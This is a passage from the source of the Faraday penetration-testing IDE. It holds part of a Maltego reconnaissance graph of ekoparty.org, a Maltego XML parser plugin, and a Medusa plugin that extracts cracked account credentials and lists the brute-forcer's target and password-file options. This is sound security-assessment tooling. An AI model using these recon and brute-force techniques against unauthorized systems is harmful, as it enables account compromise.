199 <mtg:Position x="622.75" y="245.875"/>
200 </mtg:EntityRenderer>
201 </data>
202 </node>
203 <node id="n8">
204 <data key="d1">
205 <mtg:MaltegoEntity xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.DNSName">
206 <mtg:Properties displayValue="fqdn" value="fqdn">
207 <mtg:Property displayName="DNS Name" hidden="false" name="fqdn" nullable="true" readonly="false" type="string">
208 <mtg:Value>blog.ekoparty.org</mtg:Value>
209 </mtg:Property>
210 </mtg:Properties>
211 <mtg:DisplayInformation>
212 <mtg:DisplayElement name="Generator detail"><![CDATA[<table><tr><td class=three>Source</td><td class=two>ekoparty.org</td><td class=three>(Domain)</td></tr><tr><td class=three>Transform</td><td class=two colspan=2>To DNS Name [Find common DNS names]</td></tr><tr><td class=three>Result</td><td class=two>blog.ekoparty.org</td><td class=three>(DNSName)</td></tr><tr><td class=three>Gen. date</td><td class=two colspan=2>2011-6-27 23:50</td></tr></table></font>]]></mtg:DisplayElement>
213 </mtg:DisplayInformation>
214 <mtg:Weight>100</mtg:Weight>
215 </mtg:MaltegoEntity>
216 </data>
217 <data key="d2">
218 <mtg:EntityRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx">
219 <mtg:Position x="250.0" y="297.34375"/>
220 </mtg:EntityRenderer>
221 </data>
222 </node>
223 <edge id="e0" source="n0" target="n1">
224 <data key="d3">
225 <mtg:MaltegoLink xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.link.transform-link">
226 <mtg:Properties>
227 <mtg:Property displayName="Weight" hidden="false" name="maltego.link.weight" nullable="true" readonly="false" type="int">
228 <mtg:Value>0</mtg:Value>
229 </mtg:Property>
230 <mtg:Property displayName="Show Label" hidden="false" name="maltego.link.show-label" nullable="true" readonly="false" type="int">
231 <mtg:Value>0</mtg:Value>
232 </mtg:Property>
233 <mtg:Property displayName="Thickness" hidden="false" name="maltego.link.thickness" nullable="true" readonly="false" type="int">
234 <mtg:Value>1</mtg:Value>
235 </mtg:Property>
236 <mtg:Property displayName="Date run" hidden="false" name="maltego.link.transform.run-date" nullable="true" readonly="true" type="date">
237 <mtg:Value>2011-06-27 19:46:28.176 EDT</mtg:Value>
238 </mtg:Property>
239 <mtg:Property displayName="Transform name" hidden="false" name="maltego.link.transform.display-name" nullable="true" readonly="true" type="string">
240 <mtg:Value>To DNS Name - MX (mail server)</mtg:Value>
241 </mtg:Property>
242 <mtg:Property displayName="Style" hidden="false" name="maltego.link.style" nullable="true" readonly="false" type="int">
243 <mtg:Value>0</mtg:Value>
244 </mtg:Property>
245 <mtg:Property displayName="Transform" hidden="true" name="maltego.link.transform.name" nullable="true" readonly="true" type="string">
246 <mtg:Value>paterva.v2.DomainToMXrecord_DNS</mtg:Value>
247 </mtg:Property>
248 <mtg:Property displayName="Color" hidden="false" name="maltego.link.color" nullable="true" readonly="false" type="color">
249 <mtg:Value>-4144960</mtg:Value>
250 </mtg:Property>
251 <mtg:Property displayName="Transform version" hidden="false" name="maltego.link.transform.version" nullable="true" readonly="true" type="string">
252 <mtg:Value>1.0.0</mtg:Value>
253 </mtg:Property>
254 </mtg:Properties>
255 </mtg:MaltegoLink>
256 </data>
257 <data key="d4">
258 <mtg:LinkRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx"/>
259 </data>
260 </edge>
261 <edge id="e1" source="n0" target="n2">
262 <data key="d3">
263 <mtg:MaltegoLink xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.link.transform-link">
264 <mtg:Properties>
265 <mtg:Property displayName="Weight" hidden="false" name="maltego.link.weight" nullable="true" readonly="false" type="int">
266 <mtg:Value>0</mtg:Value>
267 </mtg:Property>
268 <mtg:Property displayName="Show Label" hidden="false" name="maltego.link.show-label" nullable="true" readonly="false" type="int">
269 <mtg:Value>0</mtg:Value>
270 </mtg:Property>
271 <mtg:Property displayName="Thickness" hidden="false" name="maltego.link.thickness" nullable="true" readonly="false" type="int">
272 <mtg:Value>1</mtg:Value>
273 </mtg:Property>
274 <mtg:Property displayName="Date run" hidden="false" name="maltego.link.transform.run-date" nullable="true" readonly="true" type="date">
275 <mtg:Value>2011-06-27 19:49:20.365 EDT</mtg:Value>
276 </mtg:Property>
277 <mtg:Property displayName="Transform name" hidden="false" name="maltego.link.transform.display-name" nullable="true" readonly="true" type="string">
278 <mtg:Value>To Emails @domain [using Search Engine]</mtg:Value>
279 </mtg:Property>
280 <mtg:Property displayName="Style" hidden="false" name="maltego.link.style" nullable="true" readonly="false" type="int">
281 <mtg:Value>0</mtg:Value>
282 </mtg:Property>
283 <mtg:Property displayName="Transform" hidden="true" name="maltego.link.transform.name" nullable="true" readonly="true" type="string">
284 <mtg:Value>paterva.v2.DomainToEmailAddress_AtDomain_SE</mtg:Value>
285 </mtg:Property>
286 <mtg:Property displayName="Color" hidden="false" name="maltego.link.color" nullable="true" readonly="false" type="color">
287 <mtg:Value>-4144960</mtg:Value>
288 </mtg:Property>
289 <mtg:Property displayName="Transform version" hidden="false" name="maltego.link.transform.version" nullable="true" readonly="true" type="string">
290 <mtg:Value>1.0.0</mtg:Value>
291 </mtg:Property>
292 </mtg:Properties>
293 </mtg:MaltegoLink>
294 </data>
295 <data key="d4">
296 <mtg:LinkRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx"/>
297 </data>
298 </edge>
299 <edge id="e2" source="n0" target="n3">
300 <data key="d3">
301 <mtg:MaltegoLink xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.link.transform-link">
302 <mtg:Properties>
303 <mtg:Property displayName="Weight" hidden="false" name="maltego.link.weight" nullable="true" readonly="false" type="int">
304 <mtg:Value>0</mtg:Value>
305 </mtg:Property>
306 <mtg:Property displayName="Show Label" hidden="false" name="maltego.link.show-label" nullable="true" readonly="false" type="int">
307 <mtg:Value>0</mtg:Value>
308 </mtg:Property>
309 <mtg:Property displayName="Thickness" hidden="false" name="maltego.link.thickness" nullable="true" readonly="false" type="int">
310 <mtg:Value>1</mtg:Value>
311 </mtg:Property>
312 <mtg:Property displayName="Date run" hidden="false" name="maltego.link.transform.run-date" nullable="true" readonly="true" type="date">
313 <mtg:Value>2011-06-27 19:49:20.365 EDT</mtg:Value>
314 </mtg:Property>
315 <mtg:Property displayName="Transform name" hidden="false" name="maltego.link.transform.display-name" nullable="true" readonly="true" type="string">
316 <mtg:Value>To Emails @domain [using Search Engine]</mtg:Value>
317 </mtg:Property>
318 <mtg:Property displayName="Style" hidden="false" name="maltego.link.style" nullable="true" readonly="false" type="int">
319 <mtg:Value>0</mtg:Value>
320 </mtg:Property>
321 <mtg:Property displayName="Transform" hidden="true" name="maltego.link.transform.name" nullable="true" readonly="true" type="string">
322 <mtg:Value>paterva.v2.DomainToEmailAddress_AtDomain_SE</mtg:Value>
323 </mtg:Property>
324 <mtg:Property displayName="Color" hidden="false" name="maltego.link.color" nullable="true" readonly="false" type="color">
325 <mtg:Value>-4144960</mtg:Value>
326 </mtg:Property>
327 <mtg:Property displayName="Transform version" hidden="false" name="maltego.link.transform.version" nullable="true" readonly="true" type="string">
328 <mtg:Value>1.0.0</mtg:Value>
329 </mtg:Property>
330 </mtg:Properties>
331 </mtg:MaltegoLink>
332 </data>
333 <data key="d4">
334 <mtg:LinkRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx"/>
335 </data>
336 </edge>
337 <edge id="e3" source="n0" target="n4">
338 <data key="d3">
339 <mtg:MaltegoLink xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.link.transform-link">
340 <mtg:Properties>
341 <mtg:Property displayName="Weight" hidden="false" name="maltego.link.weight" nullable="true" readonly="false" type="int">
342 <mtg:Value>0</mtg:Value>
343 </mtg:Property>
344 <mtg:Property displayName="Show Label" hidden="false" name="maltego.link.show-label" nullable="true" readonly="false" type="int">
345 <mtg:Value>0</mtg:Value>
346 </mtg:Property>
347 <mtg:Property displayName="Thickness" hidden="false" name="maltego.link.thickness" nullable="true" readonly="false" type="int">
348 <mtg:Value>1</mtg:Value>
349 </mtg:Property>
350 <mtg:Property displayName="Date run" hidden="false" name="maltego.link.transform.run-date" nullable="true" readonly="true" type="date">
351 <mtg:Value>2011-06-27 19:49:20.365 EDT</mtg:Value>
352 </mtg:Property>
353 <mtg:Property displayName="Transform name" hidden="false" name="maltego.link.transform.display-name" nullable="true" readonly="true" type="string">
354 <mtg:Value>To Emails @domain [using Search Engine]</mtg:Value>
355 </mtg:Property>
356 <mtg:Property displayName="Style" hidden="false" name="maltego.link.style" nullable="true" readonly="false" type="int">
357 <mtg:Value>0</mtg:Value>
358 </mtg:Property>
359 <mtg:Property displayName="Transform" hidden="true" name="maltego.link.transform.name" nullable="true" readonly="true" type="string">
360 <mtg:Value>paterva.v2.DomainToEmailAddress_AtDomain_SE</mtg:Value>
361 </mtg:Property>
362 <mtg:Property displayName="Color" hidden="false" name="maltego.link.color" nullable="true" readonly="false" type="color">
363 <mtg:Value>-4144960</mtg:Value>
364 </mtg:Property>
365 <mtg:Property displayName="Transform version" hidden="false" name="maltego.link.transform.version" nullable="true" readonly="true" type="string">
366 <mtg:Value>1.0.0</mtg:Value>
367 </mtg:Property>
368 </mtg:Properties>
369 </mtg:MaltegoLink>
370 </data>
371 <data key="d4">
372 <mtg:LinkRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx"/>
373 </data>
374 </edge>
375 <edge id="e4" source="n0" target="n5">
376 <data key="d3">
377 <mtg:MaltegoLink xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.link.transform-link">
378 <mtg:Properties>
379 <mtg:Property displayName="Weight" hidden="false" name="maltego.link.weight" nullable="true" readonly="false" type="int">
380 <mtg:Value>0</mtg:Value>
381 </mtg:Property>
382 <mtg:Property displayName="Show Label" hidden="false" name="maltego.link.show-label" nullable="true" readonly="false" type="int">
383 <mtg:Value>0</mtg:Value>
384 </mtg:Property>
385 <mtg:Property displayName="Thickness" hidden="false" name="maltego.link.thickness" nullable="true" readonly="false" type="int">
386 <mtg:Value>1</mtg:Value>
387 </mtg:Property>
388 <mtg:Property displayName="Date run" hidden="false" name="maltego.link.transform.run-date" nullable="true" readonly="true" type="date">
389 <mtg:Value>2011-06-27 19:49:20.365 EDT</mtg:Value>
390 </mtg:Property>
391 <mtg:Property displayName="Transform name" hidden="false" name="maltego.link.transform.display-name" nullable="true" readonly="true" type="string">
392 <mtg:Value>To Emails @domain [using Search Engine]</mtg:Value>
393 </mtg:Property>
394 <mtg:Property displayName="Style" hidden="false" name="maltego.link.style" nullable="true" readonly="false" type="int">
395 <mtg:Value>0</mtg:Value>
396 </mtg:Property>
397 <mtg:Property displayName="Transform" hidden="true" name="maltego.link.transform.name" nullable="true" readonly="true" type="string">
398 <mtg:Value>paterva.v2.DomainToEmailAddress_AtDomain_SE</mtg:Value>
399 </mtg:Property>
400 <mtg:Property displayName="Color" hidden="false" name="maltego.link.color" nullable="true" readonly="false" type="color">
401 <mtg:Value>-4144960</mtg:Value>
402 </mtg:Property>
403 <mtg:Property displayName="Transform version" hidden="false" name="maltego.link.transform.version" nullable="true" readonly="true" type="string">
404 <mtg:Value>1.0.0</mtg:Value>
405 </mtg:Property>
406 </mtg:Properties>
407 </mtg:MaltegoLink>
408 </data>
409 <data key="d4">
410 <mtg:LinkRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx"/>
411 </data>
412 </edge>
413 <edge id="e5" source="n0" target="n6">
414 <data key="d3">
415 <mtg:MaltegoLink xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.link.transform-link">
416 <mtg:Properties>
417 <mtg:Property displayName="Weight" hidden="false" name="maltego.link.weight" nullable="true" readonly="false" type="int">
418 <mtg:Value>0</mtg:Value>
419 </mtg:Property>
420 <mtg:Property displayName="Show Label" hidden="false" name="maltego.link.show-label" nullable="true" readonly="false" type="int">
421 <mtg:Value>0</mtg:Value>
422 </mtg:Property>
423 <mtg:Property displayName="Thickness" hidden="false" name="maltego.link.thickness" nullable="true" readonly="false" type="int">
424 <mtg:Value>1</mtg:Value>
425 </mtg:Property>
426 <mtg:Property displayName="Date run" hidden="false" name="maltego.link.transform.run-date" nullable="true" readonly="true" type="date">
427 <mtg:Value>2011-06-27 19:49:20.365 EDT</mtg:Value>
428 </mtg:Property>
429 <mtg:Property displayName="Transform name" hidden="false" name="maltego.link.transform.display-name" nullable="true" readonly="true" type="string">
430 <mtg:Value>To Emails @domain [using Search Engine]</mtg:Value>
431 </mtg:Property>
432 <mtg:Property displayName="Style" hidden="false" name="maltego.link.style" nullable="true" readonly="false" type="int">
433 <mtg:Value>0</mtg:Value>
434 </mtg:Property>
435 <mtg:Property displayName="Transform" hidden="true" name="maltego.link.transform.name" nullable="true" readonly="true" type="string">
436 <mtg:Value>paterva.v2.DomainToEmailAddress_AtDomain_SE</mtg:Value>
437 </mtg:Property>
438 <mtg:Property displayName="Color" hidden="false" name="maltego.link.color" nullable="true" readonly="false" type="color">
439 <mtg:Value>-4144960</mtg:Value>
440 </mtg:Property>
441 <mtg:Property displayName="Transform version" hidden="false" name="maltego.link.transform.version" nullable="true" readonly="true" type="string">
442 <mtg:Value>1.0.0</mtg:Value>
443 </mtg:Property>
444 </mtg:Properties>
445 </mtg:MaltegoLink>
446 </data>
447 <data key="d4">
448 <mtg:LinkRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx"/>
449 </data>
450 </edge>
451 <edge id="e6" source="n0" target="n8">
452 <data key="d3">
453 <mtg:MaltegoLink xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.link.transform-link">
454 <mtg:Properties>
455 <mtg:Property displayName="Weight" hidden="false" name="maltego.link.weight" nullable="true" readonly="false" type="int">
456 <mtg:Value>0</mtg:Value>
457 </mtg:Property>
458 <mtg:Property displayName="Show Label" hidden="false" name="maltego.link.show-label" nullable="true" readonly="false" type="int">
459 <mtg:Value>0</mtg:Value>
460 </mtg:Property>
461 <mtg:Property displayName="Thickness" hidden="false" name="maltego.link.thickness" nullable="true" readonly="false" type="int">
462 <mtg:Value>1</mtg:Value>
463 </mtg:Property>
464 <mtg:Property displayName="Date run" hidden="false" name="maltego.link.transform.run-date" nullable="true" readonly="true" type="date">
465 <mtg:Value>2011-06-27 19:50:35.637 EDT</mtg:Value>
466 </mtg:Property>
467 <mtg:Property displayName="Transform name" hidden="false" name="maltego.link.transform.display-name" nullable="true" readonly="true" type="string">
468 <mtg:Value>To DNS Name [Find common DNS names]</mtg:Value>
469 </mtg:Property>
470 <mtg:Property displayName="Style" hidden="false" name="maltego.link.style" nullable="true" readonly="false" type="int">
471 <mtg:Value>0</mtg:Value>
472 </mtg:Property>
473 <mtg:Property displayName="Transform" hidden="true" name="maltego.link.transform.name" nullable="true" readonly="true" type="string">
474 <mtg:Value>paterva.v2.DomainToDNSName_DNSBrute</mtg:Value>
475 </mtg:Property>
476 <mtg:Property displayName="Color" hidden="false" name="maltego.link.color" nullable="true" readonly="false" type="color">
477 <mtg:Value>-4144960</mtg:Value>
478 </mtg:Property>
479 <mtg:Property displayName="Transform version" hidden="false" name="maltego.link.transform.version" nullable="true" readonly="true" type="string">
480 <mtg:Value>1.0.0</mtg:Value>
481 </mtg:Property>
482 </mtg:Properties>
483 </mtg:MaltegoLink>
484 </data>
485 <data key="d4">
486 <mtg:LinkRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx"/>
487 </data>
488 </edge>
489 <edge id="e7" source="n0" target="n7">
490 <data key="d3">
491 <mtg:MaltegoLink xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.link.transform-link">
492 <mtg:Properties>
493 <mtg:Property displayName="Weight" hidden="false" name="maltego.link.weight" nullable="true" readonly="false" type="int">
494 <mtg:Value>0</mtg:Value>
495 </mtg:Property>
496 <mtg:Property displayName="Show Label" hidden="false" name="maltego.link.show-label" nullable="true" readonly="false" type="int">
497 <mtg:Value>0</mtg:Value>
498 </mtg:Property>
499 <mtg:Property displayName="Thickness" hidden="false" name="maltego.link.thickness" nullable="true" readonly="false" type="int">
500 <mtg:Value>1</mtg:Value>
501 </mtg:Property>
502 <mtg:Property displayName="Date run" hidden="false" name="maltego.link.transform.run-date" nullable="true" readonly="true" type="date">
503 <mtg:Value>2011-06-27 19:50:35.636 EDT</mtg:Value>
504 </mtg:Property>
505 <mtg:Property displayName="Transform name" hidden="false" name="maltego.link.transform.display-name" nullable="true" readonly="true" type="string">
506 <mtg:Value>To DNS Name [Find common DNS names]</mtg:Value>
507 </mtg:Property>
508 <mtg:Property displayName="Style" hidden="false" name="maltego.link.style" nullable="true" readonly="false" type="int">
509 <mtg:Value>0</mtg:Value>
510 </mtg:Property>
511 <mtg:Property displayName="Transform" hidden="true" name="maltego.link.transform.name" nullable="true" readonly="true" type="string">
512 <mtg:Value>paterva.v2.DomainToDNSName_DNSBrute</mtg:Value>
513 </mtg:Property>
514 <mtg:Property displayName="Color" hidden="false" name="maltego.link.color" nullable="true" readonly="false" type="color">
515 <mtg:Value>-4144960</mtg:Value>
516 </mtg:Property>
517 <mtg:Property displayName="Transform version" hidden="false" name="maltego.link.transform.version" nullable="true" readonly="true" type="string">
518 <mtg:Value>1.0.0</mtg:Value>
519 </mtg:Property>
520 </mtg:Properties>
521 </mtg:MaltegoLink>
522 </data>
523 <data key="d4">
524 <mtg:LinkRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx"/>
525 </data>
526 </edge>
527 <edge id="e8" source="n7" target="n1">
528 <data key="d3">
529 <mtg:MaltegoLink xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.link.manual-link">
530 <mtg:Properties>
531 <mtg:Property displayName="Weight" hidden="false" name="maltego.link.weight" nullable="true" readonly="false" type="int">
532 <mtg:Value>0</mtg:Value>
533 </mtg:Property>
534 <mtg:Property displayName="Show Label" hidden="false" name="maltego.link.show-label" nullable="true" readonly="false" type="int">
535 <mtg:Value>0</mtg:Value>
536 </mtg:Property>
537 <mtg:Property displayName="Reference" hidden="false" name="maltego.link.manual.reference" nullable="true" readonly="false" type="string">
538 <mtg:Value/>
539 </mtg:Property>
540 <mtg:Property displayName="Thickness" hidden="false" name="maltego.link.thickness" nullable="true" readonly="false" type="int">
541 <mtg:Value>1</mtg:Value>
542 </mtg:Property>
543 <mtg:Property displayName="Label" hidden="false" name="maltego.link.manual.type" nullable="true" readonly="false" type="string">
544 <mtg:Value/>
545 </mtg:Property>
546 <mtg:Property displayName="Style" hidden="false" name="maltego.link.style" nullable="true" readonly="false" type="int">
547 <mtg:Value>0</mtg:Value>
548 </mtg:Property>
549 <mtg:Property displayName="Description" hidden="false" name="maltego.link.manual.description" nullable="true" readonly="false" type="string">
550 <mtg:Value/>
551 </mtg:Property>
552 <mtg:Property displayName="Color" hidden="false" name="maltego.link.color" nullable="true" readonly="false" type="color">
553 <mtg:Value>-6895466</mtg:Value>
554 </mtg:Property>
555 </mtg:Properties>
556 </mtg:MaltegoLink>
557 </data>
558 <data key="d4">
559 <mtg:LinkRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx"/>
560 </data>
561 </edge>
562 <edge id="e9" source="n7" target="n4">
563 <data key="d3">
564 <mtg:MaltegoLink xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.link.manual-link">
565 <mtg:Properties>
566 <mtg:Property displayName="Weight" hidden="false" name="maltego.link.weight" nullable="true" readonly="false" type="int">
567 <mtg:Value>0</mtg:Value>
568 </mtg:Property>
569 <mtg:Property displayName="Show Label" hidden="false" name="maltego.link.show-label" nullable="true" readonly="false" type="int">
570 <mtg:Value>0</mtg:Value>
571 </mtg:Property>
572 <mtg:Property displayName="Reference" hidden="false" name="maltego.link.manual.reference" nullable="true" readonly="false" type="string">
573 <mtg:Value/>
574 </mtg:Property>
575 <mtg:Property displayName="Thickness" hidden="false" name="maltego.link.thickness" nullable="true" readonly="false" type="int">
576 <mtg:Value>1</mtg:Value>
577 </mtg:Property>
578 <mtg:Property displayName="Label" hidden="false" name="maltego.link.manual.type" nullable="true" readonly="false" type="string">
579 <mtg:Value/>
580 </mtg:Property>
581 <mtg:Property displayName="Style" hidden="false" name="maltego.link.style" nullable="true" readonly="false" type="int">
582 <mtg:Value>0</mtg:Value>
583 </mtg:Property>
584 <mtg:Property displayName="Description" hidden="false" name="maltego.link.manual.description" nullable="true" readonly="false" type="string">
585 <mtg:Value/>
586 </mtg:Property>
587 <mtg:Property displayName="Color" hidden="false" name="maltego.link.color" nullable="true" readonly="false" type="color">
588 <mtg:Value>-6895466</mtg:Value>
589 </mtg:Property>
590 </mtg:Properties>
591 </mtg:MaltegoLink>
592 </data>
593 <data key="d4">
594 <mtg:LinkRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx"/>
595 </data>
596 </edge>
597 </graph>
598 <data key="d0">
599 <y:Resources/>
600 </data>
601 </graphml>
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39
40
41
42 class MaltegoXmlParser(object):
43 """
44 The objective of this class is to parse an xml file generated by the maltego tool.
45
46 TODO: Handle errors.
47 TODO: Test maltego output version. Handle what happens if the parser doesn't support it.
48 TODO: Test cases.
49
50 @param maltego_xml_filepath A proper xml generated by maltego
51 """
52 def __init__(self, xml_output):
53 self.target = None
54 self.port = "80"
55 self.host = None
56
57 tree = self.parse_xml(xml_output)
58
59 if tree:
60 self.items = [data for data in self.get_items(tree)]
61 else:
62 self.items = []
63
64 def parse_xml(self, xml_output):
65 """
66 Open and parse an xml file.
67
68 TODO: Write custom parser to just read the nodes that we need instead of
69 reading the whole file.
70
71 @return xml_tree An xml tree instance. None if error.
72 """
73 try:
74 tree = ET.fromstring(xml_output)
75 except SyntaxError, err:
76 print "SyntaxError: %s. %s" % (err, xml_output)
77 return None
78
79 return tree
80
81 def get_items(self, tree):
82 """
83 @return items A list of Host instances
84 """
85
86
87 node = tree.findall('graph')[0]
88
89 for n in node.findall('node'):
90 yield Item(n)
91
92
93
94
95 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
96 """
97 Finds a subnode in the item node and the retrieves a value from it
98
99 @return An attribute value
100 """
101 global ETREE_VERSION
102 node = None
103
104 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
105
106 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
107 if match_obj is not None:
108 node_to_find = match_obj.group(1)
109 xpath_attrib = match_obj.group(2)
110 xpath_value = match_obj.group(3)
111 for node_found in xml_node.findall(node_to_find):
112 if node_found.attrib[xpath_attrib] == xpath_value:
113 node = node_found
114 break
115 else:
116 node = xml_node.find(subnode_xpath_expr)
117
118 else:
119 node = xml_node.find(subnode_xpath_expr)
120
121 if node is not None:
122 return node.get(attrib_name)
123
124 return None
125
126
127
128
129
130 class Item(object):
131 """
132 An abstract representation of a Item
133
134
135 @param item_node A item_node taken from an maltego xml tree
136 """
137 def __init__(self, item_node):
138 self.node = item_node
139 self.items =None
140
141 self.id = self.get('id')
142 node2 = self.node.findall('data')[0]
143 node3 = node2.findall('mtg:MaltegoEntity')[0]
144 self.node = node3
145 self.type = self.get('type')
146 node4 = node3.findall('mtg:Properties')[0]
147 for n in node4.findall('mtg:Property'):
148 self.node = n
149 dname = self.get('displayName')
150 value = self.get_text_from_subnode('mtg:Value')
151 item = {'dname': dname, 'value' : value}
152 self.items.append(item)
153
154
155 def do_clean(self,value):
156 myreturn =""
157 if value is not None:
158 myreturn = re.sub("\n","",value)
159 return myreturn
160
161 def get_text_from_subnode(self, subnode_xpath_expr):
162 """
163 Finds a subnode in the host node and the retrieves a value from it.
164
165 @return An attribute value
166 """
167 sub_node = self.node.find(subnode_xpath_expr)
168 if sub_node is not None:
169 return sub_node.text
170
171 return None
172
173
174
175 class MaltegoPlugin(core.PluginBase):
176 """
177 Example plugin to parse maltego output.
178 """
179 def __init__(self):
180 core.PluginBase.__init__(self)
181 self.id = "Maltego"
182 self.name = "Maltego XML Output Plugin"
183 self.plugin_version = "0.0.1"
184 self.version = "3.0.4"
185 self.framework_version = "1.0.0"
186 self.options = None
187 self._current_output = None
188 self.target = None
189 self._command_regex = re.compile(r'^(sudo maltego|maltego|\.\/maltego).*?')
190
191 global current_path
192 self._output_file_path = os.path.join(self.data_path,
193 "maltego_output-%s.xml" % self._rid)
194
195
196 def parseOutputString(self, output, debug = False):
197 """
198 This method will discard the output the shell sends, it will read it from
199 the xml where it expects it to be present.
200
201 NOTE: if 'debug' is true then it is being run from a test case and the
202 output being sent is valid.
203 """
204 parser = MaltegoXmlParser(output)
205
206 for item in parser.items:
207 if item.id is not None:
208 h_id = self.createAndAddHost(item.id, "unknown")
209 i_id = self.createAndAddInterface(h_id, item.id,"00:00:00:00:00:00", item.id)
210 for i in item.items:
211 s_id = self.createAndAddServiceToInterface(h_id, i_id,
212 i['dname'],
213 "tcp",
214 ports = [0],
215 status = "status",
216 version = "version",
217 description = i['value'])
218
219 del parser
220
221 def processCommandString(self, username, current_path, command_string):
222 return None
223
224 def setHost(self):
225 pass
226
227
228 def createPlugin():
229 return MaltegoPlugin()
230
231 if __name__ == '__main__':
232 parser = MaltegoXmlParser(sys.argv[1])
233 for item in parser.items:
234 if item.status == 'up':
235 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16 import random
17 import socket
18
19
20 current_path = os.path.abspath(os.getcwd())
21
22 __author__ = "Francisco Amato"
23 __copyright__ = "Copyright 2013, Faraday Project"
24 __credits__ = ["Francisco Amato"]
25 __license__ = ""
26 __version__ = "1.0.0"
27 __maintainer__ = "Francisco Amato"
28 __email__ = "[email protected]"
29 __status__ = "Development"
30
31
32
33
34
35 class MedusaParser(object):
36 """
37 The objective of this class is to parse an xml file generated by the medusa tool.
38
39 @param medusa_filepath A proper simple report generated by medusa
40 """
41 def __init__(self, xml_output):
42 self.srv = {'ftp':'21','http':'80','imap':'143','mssql':'1433','mysql':'3306','ncp':'524','nntp':'119',
43 'pcanywhere':'5631','pop3':'110','postgres':'5432','rexec':'512','rlogin':'513','rsh':'514',
44 'smbnt':'smbnt','smtp':'25','smtp-vrfy':'smtp-vrfy','snmp':'161','ssh':'22','svn':'3690',
45 'telnet':'23','vmauthd':'vmauthd','vnc':'5900','web-form':'web-form','wrapper':'wrapper'}
46
47 lines = xml_output.splitlines()
48 self.items = []
49 for l in lines:
50
51 reg = re.search("ACCOUNT FOUND: \[([^$]+)\] Host: ([^$]+) User: ([^$]+) Password: ([^$]+) \[SUCCESS\]",l)
52 print "REG" + str(reg)
53
54 if reg:
55 item = {'service' : reg.group(1), 'host' : reg.group(2), 'user' : reg.group(3),
56 'pass' : reg.group(4)}
57
58 print "ITEM" + str(item)
59 item['ip'] = self.getAddress(item['host'])
60 item['port']=self.srv[item['service']]
61 print "ITEM" + str(item)
62 self.items.append(item)
63
64 def getAddress(self, hostname):
65 """
66 Returns remote IP address from hostname.
67 """
68 try:
69 return socket.gethostbyname(hostname)
70 except socket.error, msg:
71 return hostname
72
73
74
75 class MedusaPlugin(core.PluginBase):
76 """
77 Example plugin to parse medusa output.
78 """
79 def __init__(self):
80 core.PluginBase.__init__(self)
81 self.id = "Medusa"
82 self.name = "Medusa Output Plugin"
83 self.plugin_version = "0.0.1"
84 self.version = "2.1.1"
85 self.options = None
86 self._current_output = None
87 self._current_path = None
88 self._command_regex = re.compile(r'^(sudo medusa|sudo \.\/medusa|medusa|\.\/medusa).*?')
89 self.host = None
90 self.port =""
91
92 self._completition = {
93 "":"Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]",
94 "-h":"[TEXT] Target hostname or IP address",
95 "-H":"[FILE] File containing target hostnames or IP addresses",
96 "-u":"[TEXT] Username to test",
97 "-U":"[FILE] File containing usernames to test",
98 "-p":"[TEXT] Password to test",
99 "-P":"[FILE] File containing passwords to test",
100 "-C":"[FILE] File containing combo entries. See README for more information.",
101 "-O":"[FILE] File to append log information to",
102 "-e":"[n/s/ns] Additional password checks ([n] No Password, [s] Password = Username)",
103 "-M":"[TEXT] Name of the module to execute (without the .mod extension)",
